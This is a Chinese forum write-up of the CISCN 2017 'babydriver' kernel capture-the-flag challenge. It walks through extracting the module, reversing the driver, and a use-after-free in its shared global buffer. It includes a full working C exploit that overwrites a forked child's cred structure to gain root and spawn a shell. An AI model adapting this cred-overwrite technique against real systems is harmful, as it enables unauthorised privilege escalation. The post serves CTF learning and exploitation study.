首页
社区
课程
招聘
[原创]Linux Kernel Pwn_2_Kernel UAF
2020-10-3 11:16 5293

[原创]Linux Kernel Pwn_2_Kernel UAF

2020-10-3 11:16
5293

Linux Kernel pwn(2)——Kernel UAF

基于 CISCN 2017 babyfriver

前期准备

提取.ko文件

解压出来并没有我们想要的驱动文件,需要我们手动提取。

 

 

启动脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
 
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
poweroff -d 0  -f

可以看到.ko文件在/lib/modules/4.4.72/babydriver.ko


 

一开始cpio解压出来都是乱码,然后file了一下,发现他是个gz压缩的文件orz。。。。

 


提取vmlinux

注意,本题没有直接给vmlinux,所以我们需要手动提取:./extract-vmlinux ./bzImage > vmlinux

 

extract-vmlinux代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011      Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------
 
check_vmlinux()
{
    # Use readelf to check if it's a valid ELF
    # TODO: find a better to way to check that it's really vmlinux
    #       and not just an elf
    readelf -h $1 > /dev/null 2>&1 || return 1
 
    cat $1
    exit 0
}
 
try_decompress()
{
    # The obscure use of the "tr" filter is to work around older versions of
    # "grep" that report the byte offset of the line instead of the pattern.
 
    # Try to find the header ($1) and decompress from here
    for    pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
    do
        pos=${pos%%:*}
        tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
        check_vmlinux $tmp
    done
}
 
# Check invocation:
me=${0##*/}
img=$1
if    [ $# -ne 1 -o ! -s "$img" ]
then
    echo "Usage: $me <kernel-image>" >&2
    exit 2
fi
 
# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0
 
# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy    gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh'          xy    bunzip2
try_decompress '\135\0\0\0'   xxx   unlzma
try_decompress '\211\114\132' xy    'lzop -d'
try_decompress '\002!L\030'   xxx   'lz4 -d'
try_decompress '(\265/\375'   xxx   unzstd
 
# Finally check for uncompressed images or objects:
check_vmlinux $img
 
# Bail out:
echo "$me: Cannot find vmlinux." >&2

驱动逆向

首先,调用alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev")

 

让内核分配一个尚未使用的主设备号。

 

其函数原型如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int alloc_chrdev_region(dev_t *dev, unsigned baseminor, unsigned count,
            const char *name)
    /*
 
    dev :alloc_chrdev_region函数向内核申请下来的设备号
 
    baseminor :次设备号的起始
 
    count: 申请次设备号的个数
 
    name :执行 cat /proc/devices显示的名称
 
    */
{
    struct char_device_struct *cd;
    cd = __register_chrdev_region(0, baseminor, count, name);
    if (IS_ERR(cd))
        return PTR_ERR(cd);
    *dev = MKDEV(cd->major, cd->baseminor);
    return 0;
}

此时申请好了设备号。

 

然后调用:cdev_init(&cdev_0, &fops);

 

来将字符设备对应的cdev结构体与file_operations对应起来。

 

其中cdev结构体如下:https://elixir.bootlin.com/linux/latest/source/include/linux/cdev.h

1
2
3
4
5
6
7
8
struct cdev {
    struct kobject kobj;    //每个cdev都是一个kobject
    struct module *owner;   //指向实现驱动的模块
    const struct file_operations *ops;//操作这个字符文件的方法
    struct list_head list;// 与 cdev 对应的字符设备文件的 inode->i_devices 的链表头
    dev_t dev;                  // 起始设备编号
    unsigned int count;         // 设备范围号大小
} __randomize_layout;

后面调用v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev");

 

创建一个设备,并注册它到sysfs中。

1
2
3
4
5
6
7
8
9
device_create
    |
   + -- kzalloc struct device
    |
   +---device_register
                |
               +-----device_initialize
                |
               +-----device_add

babyopen

1
2
3
4
5
6
7
8
9
10
11
int __fastcall babyopen(inode *inode, file *filp)
{
  __int64 v2; // rdx
  __int64 v3; // rdx
 
  _fentry__(inode, filp, v2);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
  babydev_struct.device_buf_len = 0x40LL;
  printk("device open\n", 0x24000C0LL, v3);
  return 0;
}

整体来说就是开了一个0x40的空间,然后记录他的起始地址在babydev_struct.device_buf,大小在:babydev_struct.device_buf_len

babyrelease(调用close的时候会调用这个)

release会把开的空间放掉

babywrite和babywrite

就是利用copy from user来写和读

babyioctl

首先检查command是不是0x10001.

  • 如果是:

释放之前的空间,然后利用kmalloc申请一个新的,再设置size

  • 如果不是:

输出提示语句然后返回。

 

漏洞分析

通过init脚本,我们可以发现——flag文件在root底下。但是如果我们直接登录的话默认是ctf用户,所以目标就是完成提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
 
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
poweroff -d 0  -f
1
2
3
/ $ ls -a root
ls: can't open 'root': Permission denied
/ $

程序的漏洞点在于,babydev_struct 是一个全局且唯一的结构体,如果我们两次打开他,会造成第二次的指针覆盖上去,但是如果我们free掉第一次的,通过close(fd1),那么此时实际kfree的是第二次申请的空间,但是第二次的指针仍然指向他,且fd2没有被close,这就达到了UAF。更加具体的,我们知道一个进程的权限是cred结构体维持的,如果我们恰好能通过ioctl修改这一块被UAF的空间的大小为cred结构体的大小。那么,如果我们fork一个新进程,就会重新把这一块处于free状态并且大小刚好的空间申请出来,然后我们再通过第二次申请的指针修改cred结构体中的gid,uid为0,达到提权的目的即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;           /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;                   /* real UID of the task */
    kgid_t      gid;                   /* real GID of the task */
    kuid_t      suid;                  /* saved UID of the task */
    kgid_t      sgid;                  /* saved GID of the task */
    kuid_t      euid;                  /* effective UID of the task */
    kgid_t      egid;                  /* effective GID of the task */
    kuid_t      fsuid;                 /* UID for VFS ops */
    kgid_t      fsgid;                 /* GID for VFS ops */
    unsigned    securebits;            /* SUID-less security management */
    kernel_cap_t    cap_inheritable;   /* caps our children can inherit */
    kernel_cap_t    cap_permitted;     /* caps we're permitted */
    kernel_cap_t    cap_effective;     /* caps we can actually use */
    kernel_cap_t    cap_bset;          /* capability bounding set */
    kernel_cap_t    cap_ambient;       /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;       /* default keyring to attach requested
    /* keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring;      /* keyring private to this process */
    struct key  *thread_keyring;       /* keyring private to this thread */
    struct key  *request_key_auth;     /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;             /* subjective LSM security */
#endif
    struct user_struct *user;          /* real user ID subscription */
    struct user_namespace *user_ns;    /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;     /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;               /* RCU deletion hook */
} __randomize_layout;

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(){
    char cred[0xa8]={0};
    int fd1,fd2;
    int new_process;
    fd1 = open("dev/babydev",O_RDWR);
    fd2 = open("dev/babydev",O_RDWR);   //打开两次
    ioctl(fd1,0x10001,0xa8);        //改大小为cred结构体的大小
    close(fd1);
    printf("[*]start to pwn.\n");
    new_process = fork();
    if(new_process<0){
        puts("fork error");
        exit(-1);
    }
    else if(new_process==0){//此时进入子进程
        write(fd2,cred,28); //此时我们的uaf指针指向的区域被当作了cred结构体使用,调用write来写280造成uid=gid=0
        if(getuid()==0){
            printf("[*]success! welcome root, ScUpax0s.\n");
            system("/bin/sh");
            return 0;   //子进程返回
        }
    }
    else{
        printf("waiting my child....  :)\n");
        wait(NULL); //父进程等待自己的子进程
    }
    close(fd2);
    return 0;
}

调试追踪

  • 在babyopen断下来,看到启动后babydev_struct在内核中的位置是:

1
2
0xffffffffc00024d0
0xffffffffc00024d8
  • 第一次open时申请的如下:

  • 第二次open结束时申请如下:此时发生了指针的覆盖

1
2
babydev_struct.device_buf = 0xffff880000b66d80
babydev_struct.device_buf_len = 0x40
  • 接下来调用ioctl改申请的大小为cred结构体的大小:

 

可以看到在ioctl运行结束时,babydev_struct.device_buf_len已经变成了0xa8

  • 当我们close(fd1)时触发了babyrelease:

由于指针被第二次申请的覆盖了,实际上close(fd1)时是free的第二次申请的chunk(此时大小已经是0xa8)

  • 进入babywrite中,此时fork成功。babydev_struct.device_buf存储的地址已经被当作cred结构体使用

 

0x3e8就是1000

  • babywrite中调用copy_from_user完毕后,提权结束

效果如下:

 

至此,完成了Kernel UAF的提权 : ) PWN!!!

参考

https://blog.csdn.net/weixin_42314225/article/details/81112217

 

https://blog.csdn.net/zhoujiaxq/article/details/7646013

 

https://www.cnblogs.com/king-77024128/articles/2684317.html

 

https://bbs.pediy.com/thread-261728.htm


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回